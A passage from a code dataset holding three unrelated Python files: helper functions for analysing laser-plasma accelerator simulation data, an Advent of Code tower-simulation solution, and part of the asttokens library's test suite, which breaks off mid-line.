divergence_rms = np.sqrt( py2ovpx2 + pz2ovpx2 )\n\n            # Statistic on energy distribution of particules\n            E_mean = weighted_mean(E,w)*0.512\n            E_med = weighted_median(E,w)*0.512\n            dE_wrms = weighted_std(E,w)/weighted_mean(E,w)*100\n            dE_rms = np.std(E)/weighted_mean(E,w)*100\n            dE_mad = weighted_mad(E,w)/weighted_median(E,w)*100\n\n            # print beam parameter\n            if print_flag == True:\n                print(\"\")\n                print(\"--------------------------------------------\")\n                print(\"\")\n                print(\" Read \\t\\t\\t\\t\\t\\t\", np.size(E),\" particles\")\n                print( \"[0] Iteration = \\t\\t\\t\\t\", iteration)\n                print( \"[1] Simulation time = \\t\\t\\t\\t\\t\", iteration*dt_adim*onel/c*1e15,\" fs\")\n                print( \"[2] E_mean = \\t\\t\\t\\t\\t\", E_mean,\" MeV\")\n                print( \"[3] E_med = \\t\\t\\t\\t\\t\", E_med, \"MeV\")\n                print( \"[4] DeltaE_rms / E_mean = \\t\\t\\t\", dE_rms , \" %.\")\n                print( \"[5] E_mad /E_med  = \\t\\t\\t\\t\", dE_mad, \" %.\")\n                print( \"[6] Total charge = \\t\\t\\t\\t\", Q, \" pC.\")\n                print( \"[7] Emittance_y = \\t\\t\\t\\t\", emittancey,\" mm-mrad\")\n                print( \"[8] Emittance_z = \\t\\t\\t\\t\", emittancez,\" mm-mrad\")\n                print( \"[9] size_x = \\t\\t\\t\\t\", rmssize_longitudinal,\"um (RMS)\")\n                print( \"[10] divergence_rms = \\t\\t\\t\\t\", divergence_rms*1e3,\"mrad\")\n                print( \"\")\n                print( \"--------------------------------------------\")\n                print( \"\")\n\n            # beam paramater list for iteration timestep\n           \n            if Q > 0.0 :\n                # [0] timestep\n                # [1] time [fs]\n                # [2] weighted mean energy   [MeV]\n                # [3] weighted median value   [MeV]\n                # [4] weighted RMS energy spread   [%]\n                # [5] RMS energy spread   [%]\n                # [6] MAD energy spread [%]\n                # [7] charge [pC]\n                # [8] normalized RMS y-emittance [um]\n                # [9] normalized RMS z-emittance [um]\n                # [10] bunch RMS length [um]\n                # [11] bunch RMS sigy [um]\n                # [12] bunch RMS sigz [um]\n                # [13] RMS divergence [mrad]\n                beamparam_dict = {\"iteration\":iteration,\n                \"time\": iteration*dt_adim*onel/c*1e15,\n                \"energy_wmean\": E_mean,\n                \"energy_wmedian\": E_med,\n                \"energy_wrms\": dE_wrms,\n                \"energy_rms\": dE_rms,\n                \"energy_wmad\": dE_mad,\n                \"charge\": Q,\n                \"emittance_y\": emittancey,\n                \"emittance_z\": emittancez,\n                \"size_x_rms\": rmssize_longitudinal,\n                \"size_y_rms\" : rmssize_y,\n                \"size_z_rms\" : rmssize_z,\n                \"divergence_rms\": divergence_rms*1e3}\n            else:\n                print('no data in the filtered energy range')\n                beamparam_dict = {\"iteration\":iteration,\n                \"time\": iteration*dt_adim*onel/c*1e15,\n                \"energy_wmean\": np.nan,\n                \"energy_wmedian\": np.nan,\n                \"energy_wrms\": np.nan,\n                \"energy_rms\": np.nan,\n                \"energy_wmad\": np.nan,\n                \"charge\": np.nan,\n                \"emittance_y\": np.nan,\n                \"emittance_z\": np.nan,\n                \"size_x_rms\": np.nan,\n                \"size_y_rms\" : np.nan,\n                \"size_z_rms\" : np.nan,\n                \"divergence_rms\": np.nan}\n\n            # save beam parameter in a file\n            if save_flag == True:\n                print( \"data saved in npy file\")\n                filename = 'smilei-beamparam'+str(iteration)+'.npy'\n                filepath = home_directory+'/'+filename\n                np.save(filepath,beamparam_dict)\n            return beamparam_dict\n\ndef getPartAvailableSteps(S,species_name=\"electronfromion\",sort = False, chunk_size=10000000):\n    \"\"\"return available timesteps for the trackParticles\"\"\"\n    return S.TrackParticles(species = species_name, sort = False, chunksize=chunk_size).getAvailableTimesteps()\n\ndef getBeamCharge(S,iteration,species_name=\"electronfromion\",sort = False, E_min=10,E_max=520,chunk_size=10000000,print_flag=True):\n    \"\"\"return beam charge for the species_name of the Smilei simulation data at the timestep iteration\n    iteration : timestep\n    S : is the simulation output object return by happi.Open()\n    species_name :  [electronfromion], electron\n    E_min :         [10] energy filter min \n    E_max :         [520] energy filter max\n    printflag :     [True] print output on screen. \n    Q : charge []\n     \"\"\"\n    ########## Read data from Track Particles Diag ############\n    track_part = S.TrackParticles(species = species_name, sort = sort, chunksize=chunk_size)\n    test_part =  S.TrackParticles(species = species_name, timesteps=iteration, sort = sort, chunksize=chunk_size).getData()\n    #print(\"Available timesteps = \",track_part.getAvailableTimesteps())\n    px = 0.\n    py = 0.\n    pz = 0.\n    w  = 0.\n    if iteration is None:\n        Q = 0.\n        if print_flag == True:\n            print(\"Iteration or timeStep is None type, return Q=\", Q)\n    elif test_part[int(iteration)]['w'].sum() < 0.1:\n        Q = 0.\n        if print_flag == True:\n            print(\"no enough particles return Q=\", Q)\n    else:\n        for particle_chunk in track_part.iterParticles(iteration, chunksize=chunk_size):\n            # Read data\n            px           += particle_chunk[\"px\"]\n            py           += particle_chunk[\"py\"]\n            pz           += particle_chunk[\"pz\"]\n            w            += particle_chunk[\"w\"]\n        p            = np.sqrt(px**2+py**2+pz**2)\n        E            = np.sqrt(1.+p**2)\n        Nparticles   = np.size(w)\n        if Nparticles < 1.:\n            Q= 0.\n        if print_flag == True:                                  # Number of particles read\n            print(\"Read \",Nparticles,\" particles from the file\")\n        total_weight = w.sum()\n        Q            = total_weight* e * ncrit * onel**3 * 10**(12) # Total charge in pC\n        if print_flag == True:  \n            print(\"Total charge before filter in energy= \",Q,\" pC\")\n            print(\"Filter energy limits: \",E_min,\", \",E_max,\" (m_e c^2)\")\n        # Apply a filter on energy\n        filter       = np.intersect1d( np.where( E > E_min )[0] ,  np.where( E < E_max )[0] )\n        w            = w[filter]\n        total_weight = w.sum()\n        Q            = total_weight* e * ncrit * onel**3 * 10**(12) # Total charge in pC\n        if print_flag==True:  \n            print(\"Total charge after filter in energy= \",Q,\" pC\")\n    return Q\n\ndef getInjectionTime(S,ts,probeVar='Rho_electronfromion',threshold = 5e-3,print_flag = False):\n    \"\"\" return the injection timestep and longitudinal coordinate of the injection.\n    The injection is defined by a threshold on the `electron_from_ion` density\n    S : is the simulation output object return by happi.Open()\n    ts : timestep vector [numpy array]\n    threshold : value of e- from ionisation max density on axis -n_ei/ncrit  [smilei units] \n    t : index of ts at which injection occcurs \n    ti : injection timestep \n    xi : injection longitudinal position [m]\n    \"\"\" \n    dls = S.namelist.lambda_0/(2*np.pi)\n    for t in range(len(ts)):\n        rhoei = S.Probe(0,probeVar,ts[t]).getData()[0]\n        if np.abs(rhoei.min())> threshold:\n            ti = ts[t]\n            xi = ts[t]*dls\n            if print_flag == True :\n                print('index:', t)\n                print('injection time:',ti,'timestep')\n                print('injection x:',xi,'mm')\n            break\n        else :\n            ti = None\n            xi = None\n    return t,ti,xi\n\ndef getSpectrum(S,iteration_to_plot,species_name= \"electronfromion\",horiz_axis_name= \"E\", E_min=50, E_max = 640,plot_flag = False, print_flag = False, nbins_horiz = 200, normalized = False):\n    \"\"\" return spectrum plot or data for a given timesteps\n    S : smilei output data\n    iteration_to_plot : timestep \n    species_name : [electronfromion], electron\n    horiz_axis_name : [E] can be px, p or E \n    E_min : [50] min value considered in histogram for the horiz axis, in code units \n    E_max : [640] max value considered in histogram for the horiz axis, in code units\n    option : plot_flag, print_flag,\n    nbins_horiz : binning energy histogram [200]\n    normalized : normalization of the histogram [False]\n    return spectrum data as numpy arrays  (horizontal axis (E, or p)), dQd(E,or p), Epeak, dQdE_max, Ewidth \n    \"\"\"\n    \n    #  horizontal axis limits (m_e c^2 units, or Lorentz factor)\n    horiz_axis_min = E_min  # Max value considered in histogram for the horiz axis, in code units\n    horiz_axis_max = E_max   # Min value considered in histogram for the horiz axis, in code units\n    horiz_axis_conversion_factor = 0.512 # to convert from Smilei units to MeV\n    hist_conversion_factor       = 1.    # if equal to 1, the charge is in pC\n    energy_axis = np.zeros((1,nbins_horiz)) # initialization to avoid unbondedlocalerror. \n    specData = np.zeros((1,nbins_horiz))\n    Ewidth = 0.0 \n    Epeak = 0.0 \n    dQdE_max = 0.0\n\n    ########## Read data from Track Particles Diag #####################\n    sort = False  \n    chunk_size=100000000\n    track_part = S.TrackParticles(species = species_name, sort = sort, chunksize=chunk_size)\n    #print(\"Available timesteps = \",track_part.getAvailableTimesteps())\n    \n    for particle_chunk in track_part.iterParticles(iteration_to_plot, chunksize=chunk_size):\n        # Read data\n        #if print_flag==True:\n        #    print(particle_chunk.keys())\n        px           = particle_chunk[\"px\"]\n        py           = particle_chunk[\"py\"]\n        pz           = particle_chunk[\"pz\"]\n        x            = particle_chunk[\"x\"]\n        y            = particle_chunk[\"y\"]\n        z            = particle_chunk[\"z\"]\n        w            = particle_chunk[\"w\"]\n        p            = np.sqrt((px**2+py**2+pz**2))                # momentum\n        E            = np.sqrt((1.+p**2))\n        Nparticles   = np.size(w)                                    # Number of particles read\n        if print_flag == True:\n            print(\"Read \",Nparticles,\" particles from the file\")\n        total_weight = w.sum()\n        Q            = total_weight* e * ncrit * onel**3 * 10**(12) # Total charge in pC\n        if print_flag == True:\n            print(\"Total charge before filter in energy= \",Q,\" pC\")\n        # Apply a filter on energy\n        filter       = np.intersect1d( np.where( E > E_min )[0] ,  np.where( E < E_max )[0] )\n        x            = x[filter]\n        y            = y[filter]\n        z            = z[filter]\n        px           = px[filter]\n        py           = py[filter]\n        pz           = pz[filter]\n        E            = E[filter]\n        w            = w[filter]\n        p            = p[filter]\n        total_weight = w.sum()\n        Q            = total_weight* e * ncrit * onel**3 * 10**(12) # Total charge in pC\n        if print_flag == True:\n            print(\"Total charge after filter in Energy = \",Q,\" pC\")\n            print(\"Filter energy limits: \",E_min,\", \",E_max,\" (m_e c^2)\")\n\n        if Q > 0.0 : \n\n            # Compute 1D histogram\n            possible_axes_names =[\"x\",\"y\",\"z\",\"px\",\"py\",\"pz\",\"E\"]\n            axes                =[x,y,z,px,py,pz,E]\n\n            if horiz_axis_name in possible_axes_names:\n                horiz_axis = axes[possible_axes_names.index(horiz_axis_name)]\n            else:\n                print(\"Error, invalid axis\")\n                exit(0)\n\n            hist1D, horiz_edges = np.histogram(horiz_axis, \\\n                                        bins=nbins_horiz, \\\n                                        range=[horiz_axis_min,horiz_axis_max], weights=w)\n            #print(np.shape(horiz_edges))\n            dhoriz_axis                    = abs(horiz_edges[1]-horiz_edges[0]) # bin size\n\n            # histogram: integrated in dhoriz_axis and gives the total charge\n            histogram_spectrum = hist1D*hist_conversion_factor/dhoriz_axis/horiz_axis_conversion_factor*e * ncrit * onel**3  * 10**(12)\n            if normalized == True:\n                histogram_spectrum = histogram_spectrum / histogram_spectrum[:].max()\n\n            # horizontal axis \n            horiz_edges = horiz_edges[0:-1]\n            binx = dhoriz_axis*horiz_axis_conversion_factor\n            horiz_edges = horiz_edges + 0.5*binx\n            energy_axis = horiz_edges*horiz_axis_conversion_factor\n\n            # Preparation for Plot\n            if normalized == True:\n                plot_title   = \"Normalized histogram\"\n            else:\n                plot_title   = 'dQ/d'+horiz_axis_name+\" (pC/MeV)\"\n\n            #print np.shape(histogram_spectrum)\n            #\n            if print_flag == True:\n                print('Bins size: dx = ',binx)\n\n            histogram_spectrum[histogram_spectrum==0.]=float(np.nan)\n\n            #if print_flag==True:\n            #    print(len(energy_axis))\n\n            specData = np.array((histogram_spectrum))\n            \n            # Plot\n            if plot_flag == True:\n                fig = plt.figure()\n                fig.set_facecolor('w')\n\n                plt.xlabel(horiz_axis_name+\" (MeV)\")\n                plt.title(plot_title)\n\n                #extnt = np.array([horiz_axis.min()*horiz_axis_conversion_factor, \\\n                #            horiz_axis.max()*horiz_axis_conversion_factor ])\n                #print(\"Values extension for \",horiz_axis_name,\" (all particles):\")\n                #print(extnt)\n\n                #extnt = np.array([horiz_axis_min*horiz_axis_conversion_factor, \\\n                #            horiz_axis_max*horiz_axis_conversion_factor])\n                #print( \"Values extension for \",horiz_axis_name,\" (particles included in the chosen horiz axis limits):\")\n                #print(extnt)\n\n                plt.plot(energy_axis,histogram_spectrum)\n                plt.xlim([horiz_axis_min*horiz_axis_conversion_factor,horiz_axis_max*horiz_axis_conversion_factor])\n                \n                #plt.savefig(home_directory+\"/E_Spectrum.png\",format='png')\n                plt.show()\n        \n            # compute the full width half maximum using scipy.signal.findpeaks \n            try :\n                with warnings.catch_warnings():\n                    warnings.filterwarnings('ignore', r'All-NaN slice encountered')\n                    prom = (np.nanmax(specData)-np.nanmin(specData))*0.66 #factor might be adjusted \n                    p , _  = find_peaks(specData,prominence=prom)\n                if len(p)==0 :\n                    Epeak = 0\n                    Ewidth = 0\n                    dQdE_max = 0\n                else :  \n                    Epeak = energy_axis[p[0]]\n                    dQdE_max = specData[p[0]]\n                    Ewidth = binx*peak_widths(specData, p, rel_height=0.5)[0][0]\n            except ValueError :\n                Epeak = np.nan\n                Ewidth = np.nan\n                dQdE_max = np.nan \n                \n            if print_flag == True:\n                print( \"\")\n                print( \"--------------------------------------------\")\n                print( \"\")\n                print(\"beam Peak energy: \\t\",Epeak,\"MeV\")\n                print(\"beam FWHM energy: \\t\",Ewidth,\"MeV\")\n                print( \"\")\n                print( \"--------------------------------------------\")\n                print( \"\")\n        # no charge in the energy range  Q = 0.    \n        else : \n            energy_axis = np.nan*np.zeros((nbins_horiz))\n            specData = np.nan*np.zeros((nbins_horiz))\n            Epeak  = np.nan\n            dQdE_max = np.nan\n            Ewidth = np.nan\n\n    return energy_axis, specData, Epeak, dQdE_max, Ewidth\n\ndef getPartParam(S,iteration,species_name=\"electronfromion\",sort= False,chunk_size=100000000,E_min=25, E_max = 520,print_flag = True):\n    \"\"\"return x,y,z,px,py,pz,E,w,p for all particle at timesteps iteration within the filter\"\"\"\n    track_part = S.TrackParticles(species = species_name,sort = sort,  chunksize=chunk_size)\n    #print(\"Available timesteps = \",track_part.getAvailableTimesteps())\n\n    for particle_chunk in track_part.iterParticles(iteration, chunksize=chunk_size):\n        # Read data\n        #if print_flag==True:\n        #\tprint(particle_chunk.keys())\n        px           = particle_chunk[\"px\"]\n        py           = particle_chunk[\"py\"]\n        pz           = particle_chunk[\"pz\"]\n        x            = particle_chunk[\"x\"]\n        y            = particle_chunk[\"y\"]\n        z            = particle_chunk[\"z\"]\n        w            = particle_chunk[\"w\"]\n        p            = np.sqrt((px**2+py**2+pz**2))                # momentum\n        E            = np.sqrt((1.+p**2))\n        Nparticles   = np.size(w)\n        if print_flag==True:                                  # Number of particles read\n            print(\"Read \",Nparticles,\" particles from the file\")\n        total_weight = w.sum()\n        Q            = total_weight* e * ncrit * onel**3 * 10**(12) # Total charge in pC\n        if print_flag==True:  \n            print(\"Total charge before filter in energy= \",Q,\" pC\")\n            print(\"Filter energy limits: \",E_min,\", \",E_max,\" (m_e c^2)\")\n        # Apply a filter on energy\n        filter       = np.intersect1d( np.where( E > E_min )[0] ,  np.where( E < E_max )[0] )\n        x            = x[filter]\n        y            = y[filter]\n        z            = z[filter]\n        px           = px[filter]\n        py           = py[filter]\n        pz           = pz[filter]\n        E            = E[filter]\n        w            = w[filter]\n        p            = p[filter]\n        total_weight = w.sum()\n        Q            = total_weight* e * ncrit * onel**3 * 10**(12) # Total charge in pC\n        if print_flag==True:  \n            print(\"Total charge after filter in energy= \",Q,\" pC\")\n    return np.array([x,y,z,px,py,pz,E,w,p])\n\ndef getPSxrms(S,iteration,species_name=\"electronfromion\",sort= False,chunk_size=100000000,E_min=25, E_max = 520,print_flag = True):\n    \"\"\"return x,px for all particle at timesteps iteration within the filter\"\"\"\n    track_part = S.TrackParticles(species = species_name,sort = sort,  chunksize=chunk_size)\n    #print(\"Available timesteps = \",track_part.getAvailableTimesteps())\n\n    for particle_chunk in track_part.iterParticles(iteration, chunksize=chunk_size):\n        # Read data\n        #if print_flag==True:\n        #\tprint(particle_chunk.keys())\n        px           = particle_chunk[\"px\"]\n        py           = particle_chunk[\"py\"]\n        pz           = particle_chunk[\"pz\"]\n        x            = particle_chunk[\"x\"]               \n        w            = particle_chunk[\"w\"]\n        p            = np.sqrt((px**2+py**2+pz**2))                # momentum\n        E            = np.sqrt((1.+p**2))              \n        Nparticles   = np.size(w)\n        if print_flag==True:                                  # Number of particles read\n            print(\"Read \",Nparticles,\" particles from the file\")\n\n        # Apply a filter on energy\n        filter       = np.intersect1d( np.where( E > E_min )[0] ,  np.where( E < E_max )[0] )\n        x            = x[filter]\n        px           = px[filter]\n        w            = w[filter]\n        Nparticles   = np.size(w)\n        if print_flag==True:                                  # Number of particles read\n            print(\"After filtering\",Nparticles,\" particles\")\n  \n    return np.array([x,px,w])","repo_name":"kevinCassou/LPAbrew","sub_path":"lpa2.py","file_name":"lpa2.py","file_ext":"py","file_size_in_byte":33323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"12829751000","text":"from lib import Chamber, SHAPES\n\n# --- Constants ---\nINPUT_FILE = \"../input/input.txt\"\nLIMIT_1 = 2022\nLIMIT_2 = 1000000000000\n\n# --- Runs the simulations ---\ndef sim(flows, limit):\n    count = 0\n    rocks = 1\n    gcd = len(SHAPES) * len(flows)\n    chamber = Chamber()\n    chamber.add_shape(SHAPES[0])\n\n    # --- Variables for tracking a pattern ---\n    prev_height = 0\n    prev_rocks = 0\n    delta_height = 0\n    delta_rocks = 0\n    simulated = 0\n\n    # --- Iterate until the limit is reached ---\n    while True:\n        if count > 0 and count % gcd == 0:\n            height = chamber.height()\n            dh = height - prev_height\n            dr = rocks - prev_rocks\n\n            # --- Pattern found ---\n            if dh == delta_height and dr == delta_rocks:\n                rate = (limit - rocks) // dr\n                simulated = dh * rate + 1\n                rocks = limit - ((limit - rocks) % dr)\n            prev_height = height\n            prev_rocks = rocks\n            delta_height = dh\n            delta_rocks = dr\n\n        # --- Normal simulation ---\n        chamber.move(flows[count % len(flows)])\n        if chamber.move_down() == False:\n            if rocks > limit:\n                return chamber.height() + simulated\n            chamber.add_shape(SHAPES[rocks % len(SHAPES)])\n            rocks += 1\n        count += 1\n\n# --- Read and parse the input file ---\nwith open(INPUT_FILE) as file:\n    flows = file.read().strip()\n\nheight = sim(flows, LIMIT_1)\nprint(f\"1. The tower is {height:,d} units tall\")\n\nheight = sim(flows, LIMIT_2)\nprint(f\"2. The tower is {height:,d} units tall\")\n","repo_name":"jcanop/aoc","sub_path":"2022/17/python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1598,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"71210918759","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals, print_function\n\nimport ast\nimport inspect\nimport io\nimport os\nimport re\nimport sys\nimport textwrap\nimport token\nfrom typing import List\nimport unittest\nfrom time import time\n\nimport astroid\nimport six\nfrom asttokens import util, ASTTokens\n\nfrom . import tools\n\ntry:\n  from astroid.nodes.utils import Position as AstroidPosition\nexcept Exception:\n  AstroidPosition = ()\n\n\nclass TestMarkTokens(unittest.TestCase):\n  maxDiff = None\n\n  # We use the same test cases to test both nodes produced by the built-in `ast` module, and by\n  # the `astroid` library. The latter derives TestAstroid class from TestMarkTokens. For checks\n  # that differ between them, .is_astroid_test allows to distinguish.\n  is_astroid_test = False\n  module = ast\n\n  def create_mark_checker(self, source, verify=True):\n    atok = self.create_asttokens(source)\n    checker = tools.MarkChecker(atok)\n\n    # The last token should always be an ENDMARKER\n    # None of the nodes should contain that token\n    assert atok.tokens[-1].type == token.ENDMARKER\n    if atok.text:  # except for empty files\n      for node in checker.all_nodes:\n        assert node.last_token.type != token.ENDMARKER\n\n    if verify:\n      checker.verify_all_nodes(self)\n    return checker\n\n  @staticmethod\n  def create_asttokens(source):\n    return ASTTokens(source, parse=True)\n\n  def print_timing(self):\n    # Print the timing of mark_tokens(). This doesn't normally run as a unittest, but if you'd like\n    # to see timings, e.g. while optimizing the implementation, run this to see them:\n    #\n    #     nosetests -m print_timing -s tests.test_mark_tokens tests.test_astroid\n    #\n    # pylint: disable=no-self-use\n    import timeit\n    print(\"mark_tokens\", sorted(timeit.repeat(\n      setup=textwrap.dedent(\n        '''\n        import ast, asttokens\n        source = \"foo(bar(1 + 2), 'hello' + ', ' + 'world')\"\n        atok = asttokens.ASTTokens(source)\n        tree = ast.parse(source)\n        '''),\n      stmt='atok.mark_tokens(tree)',\n      repeat=3,\n      number=1000)))\n\n\n  def test_mark_tokens_simple(self):\n    source = tools.read_fixture('astroid', 'module.py')\n    m = self.create_mark_checker(source)\n\n    # Line 14 is: [indent 4] MY_DICT[key] = val\n    self.assertEqual(m.view_nodes_at(14, 4), {\n      \"Name:MY_DICT\",\n      \"Subscript:MY_DICT[key]\",\n      \"Assign:MY_DICT[key] = val\"\n    })\n\n    # Line 35 is: [indent 12] raise XXXError()\n    self.assertEqual(m.view_nodes_at(35, 12), {'Raise:raise XXXError()'})\n    self.assertEqual(m.view_nodes_at(35, 18), {'Call:XXXError()', 'Name:XXXError'})\n\n    # Line 53 is: [indent 12] autre = [a for (a, b) in MY_DICT if b]\n    self.assertEqual(m.view_nodes_at(53, 20), {'ListComp:[a for (a, b) in MY_DICT if b]'})\n    self.assertEqual(m.view_nodes_at(53, 21), {'Name:a'})\n    if self.is_astroid_test:\n      self.assertEqual(m.view_nodes_at(53, 23), {'Comprehension:for (a, b) in MY_DICT if b'})\n    else:\n      self.assertEqual(m.view_nodes_at(53, 23), {'comprehension:for (a, b) in MY_DICT if b'})\n\n    # Line 59 is: [indent 12] global_access(local, val=autre)\n    self.assertEqual(m.view_node_types_at(59, 12), {'Name', 'Call', 'Expr'})\n    self.assertEqual(m.view_nodes_at(59, 26), {'Name:local'})\n    if self.is_astroid_test:\n      self.assertEqual(m.view_nodes_at(59, 33), {'Keyword:val=autre'})\n    else:\n      self.assertEqual(m.view_nodes_at(59, 33), {'keyword:val=autre'})\n    self.assertEqual(m.view_nodes_at(59, 37), {'Name:autre'})\n\n  def test_mark_tokens_multiline(self):\n    source = (\n\"\"\"(    # line1\na,      # line2\nb +     # line3\n  c +   # line4\n  d     # line5\n)\"\"\")\n    m = self.create_mark_checker(source)\n\n    self.assertIn('Name:a', m.view_nodes_at(2, 0))\n    self.assertEqual(m.view_nodes_at(3, 0),  {\n      'Name:b',\n      'BinOp:b +     # line3\\n  c',\n      'BinOp:b +     # line3\\n  c +   # line4\\n  d',\n    })\n\n    all_text = {m.atok.get_text(node) for node in m.all_nodes}\n    self.assertEqual(all_text, {\n      source,\n      'a', 'b', 'c', 'd',\n      # All other expressions preserve newlines and comments but are parenthesized.\n      'b +     # line3\\n  c',\n      'b +     # line3\\n  c +   # line4\\n  d',\n    })\n    self.assertIn('Tuple:' + source, m.view_nodes_at(1, 0))\n\n\n  def verify_fixture_file(self, path):\n    source = tools.read_fixture(path)\n    m = self.create_mark_checker(source, verify=False)\n    tested_nodes = m.verify_all_nodes(self)\n\n    exp_index = (0 if six.PY2 else 1) + (3 if self.is_astroid_test else 0)\n    # For ast on Python 3.9, slices are expressions, we handle them and test them.\n    if not self.is_astroid_test and issubclass(ast.Slice, ast.expr):\n      exp_index += 1\n    exp_tested_nodes = self.expect_tested_nodes[path][exp_index]\n    self.assertEqual(tested_nodes, exp_tested_nodes)\n\n\n  # There is not too much need to verify these counts. The main reason is: if we find that some\n  # change reduces the count by a lot, it's a red flag that the test is now covering fewer nodes.\n  expect_tested_nodes = {\n    #                                   AST                  | Astroid\n    #                                   Py2   Py3  Py3+slice | Py2   Py3\n    'astroid/__init__.py':            ( 4,    4,   4,          4,    4,   ),\n    'astroid/absimport.py':           ( 4,    3,   3,          4,    3,   ),\n    'astroid/all.py':                 ( 21,   23,  23,         21,   23,  ),\n    'astroid/clientmodule_test.py':   ( 75,   67,  67,         69,   69,  ),\n    'astroid/descriptor_crash.py':    ( 30,   28,  28,         30,   30,  ),\n    'astroid/email.py':               ( 3,    3,   3,          1,    1,   ),\n    'astroid/format.py':              ( 64,   61,  61,         62,   62,  ),\n    'astroid/module.py':              ( 185,  174, 174,        171,  171, ),\n    'astroid/module2.py':             ( 248,  253, 255,        240,  253, ),\n    'astroid/noendingnewline.py':     ( 57,   59,  59,         57,   63,  ),\n    'astroid/notall.py':              ( 15,   17,  17,         15,   17,  ),\n    'astroid/recursion.py':           ( 6,    6,   6,          4,    4,   ),\n    'astroid/suppliermodule_test.py': ( 20,   17,  17,         18,   18,  ),\n  }\n\n  # This set of methods runs verifications for the variety of syntax constructs used in the\n  # fixture test files.\n  # pylint: disable=multiple-statements\n  def test_fixture1(self): self.verify_fixture_file('astroid/__init__.py')\n  def test_fixture2(self): self.verify_fixture_file('astroid/absimport.py')\n  def test_fixture3(self): self.verify_fixture_file('astroid/all.py')\n  def test_fixture4(self): self.verify_fixture_file('astroid/clientmodule_test.py')\n  def test_fixture5(self): self.verify_fixture_file('astroid/descriptor_crash.py')\n  def test_fixture6(self): self.verify_fixture_file('astroid/email.py')\n  def test_fixture7(self): self.verify_fixture_file('astroid/format.py')\n  def test_fixture8(self): self.verify_fixture_file('astroid/module.py')\n  def test_fixture9(self): self.verify_fixture_file('astroid/module2.py')\n  def test_fixture10(self): self.verify_fixture_file('astroid/noendingnewline.py')\n  def test_fixture11(self): self.verify_fixture_file('astroid/notall.py')\n  def test_fixture12(self): self.verify_fixture_file('astroid/recursion.py')\n  def test_fixture13(self): self.verify_fixture_file('astroid/suppliermodule_test.py')\n\n\n  def test_deep_recursion(self):\n    # This testcase has 1050 strings joined with '+', which causes naive recursions to fail with\n    # 'maximum recursion depth exceeded' error. We actually handle it just fine, but we can't use\n    # to_source() on it because it chokes on recursion depth. So we test individual nodes.\n    source = tools.read_fixture('astroid/joined_strings.py')\n\n    if self.is_astroid_test:\n      if getattr(astroid, '__version__', '1') >= '2':\n        # Astroid 2 no longer supports this; see\n        # https://github.com/PyCQA/astroid/issues/557#issuecomment-396004274\n        self.skipTest('astroid-2.0 does not support this')\n\n      # Astroid < 2 does support this with optimize_ast set to True\n      astroid.MANAGER.optimize_ast = True\n      try:\n        m = self.create_mark_checker(source, verify=False)\n      finally:\n        astroid.MANAGER.optimize_ast = False\n\n      self.assertEqual(len(m.all_nodes), 4)     # This is the result of astroid's optimization\n      self.assertEqual(m.view_node_types_at(1, 0), {'Module', 'Assign', 'AssignName'})\n      const = next(n for n in m.all_nodes if isinstance(n, astroid.nodes.Const))\n      # TODO: Astroid's optimization makes it impossible to get the right start-end information\n      # for the combined node. So this test fails. To avoid it, don't set 'optimize_ast=True'. To\n      # fix it, astroid would probably need to record the info from the nodes it's combining. Or\n      # astroid could avoid the need for the optimization by using an explicit stack like we do.\n      #self.assertEqual(m.atok.get_text_range(const), (5, len(source) - 1))\n    else:\n      m = self.create_mark_checker(source, verify=False)\n      self.assertEqual(len(m.all_nodes), 2104)\n      self.assertEqual(m.view_node(m.all_nodes[-1]),\n                       \"Constant:'F1akOFFiRIgPHTZksKBAgMCLGTdGNIAAQgKfDAcgZbj0odOnUA8GBAA7'\")\n      self.assertEqual(m.view_node(m.all_nodes[-2]),\n                       \"Constant:'Ii0uLDAxLzI0Mh44U0gxMDI5JkM0JjU3NDY6Kjc5Njo7OUE8Ozw+Oz89QTxA'\")\n      self.assertEqual(m.view_node(m.all_nodes[1053]),\n                       \"Constant:'R0lGODlhigJnAef/AAABAAEEAAkCAAMGAg0GBAYJBQoMCBMODQ4QDRITEBkS'\")\n      self.assertEqual(m.view_node(m.all_nodes[1052]),\n                       \"BinOp:'R0lGODlhigJnAef/AAABAAEEAAkCAAMGAg0GBAYJBQoMCBMODQ4QDRITEBkS'\\r\\n\" +\n                       \"     +'CxsSEhkWDhYYFQ0aJhkaGBweGyccGh8hHiIkIiMmGTEiHhQoPSYoJSkqKDcp'\")\n\n      binop = next(n for n in m.all_nodes if n.__class__.__name__ == 'BinOp')\n      self.assertTrue(m.atok.get_text(binop).startswith(\"'R0l\"))\n      self.assertTrue(m.atok.get_text(binop).endswith(\"AA7'\"))\n\n    assign = next(n for n in m.all_nodes if n.__class__.__name__ == 'Assign')\n    self.assertTrue(m.atok.get_text(assign).startswith(\"x = (\"))\n    self.assertTrue(m.atok.get_text(assign).endswith(\")\"))\n\n  def test_slices(self):\n    # Make sure we don't fail on parsing slices of the form `foo[4:]`.\n    source = \"(foo.Area_Code, str(foo.Phone)[:3], str(foo.Phone)[3:], foo[:], bar[::2, :], bar2[:, ::2], [a[:]][::-1])\"\n    m = self.create_mark_checker(source)\n    self.assertIn(\"Tuple:\" + source, m.view_nodes_at(1, 0))\n    self.assertEqual(m.view_nodes_at(1, 1),\n                     { \"Attribute:foo.Area_Code\", \"Name:foo\" })\n    self.assertEqual(m.view_nodes_at(1, 16),\n                     { \"Subscript:str(foo.Phone)[:3]\", \"Call:str(foo.Phone)\", \"Name:str\"})\n    self.assertEqual(m.view_nodes_at(1, 36),\n                     { \"Subscript:str(foo.Phone)[3:]\", \"Call:str(foo.Phone)\", \"Name:str\"})\n    # Slice and ExtSlice nodes are wrong, and in particular placed with parents. They are not very\n    # important, so we skip them here.\n    self.assertEqual({n for n in m.view_nodes_at(1, 56) if 'Slice:' not in n},\n                     { \"Subscript:foo[:]\", \"Name:foo\" })\n    self.assertEqual({n for n in m.view_nodes_at(1, 64) if 'Slice:' not in n and 'Tuple:' not in n},\n                     { \"Subscript:bar[::2, :]\", \"Name:bar\" })\n\n  def test_adjacent_strings(self):\n    source = \"\"\"\nfoo = 'x y z' \\\\\n'''a b c''' \"u v w\"\nbar = ('x y z'   # comment2\n       'a b c'   # comment3\n       'u v w'\n      )\n\"\"\"\n    m = self.create_mark_checker(source)\n    node_name = 'Const' if self.is_astroid_test else 'Constant'\n    self.assertEqual(m.view_nodes_at(2, 6), {\n      node_name + 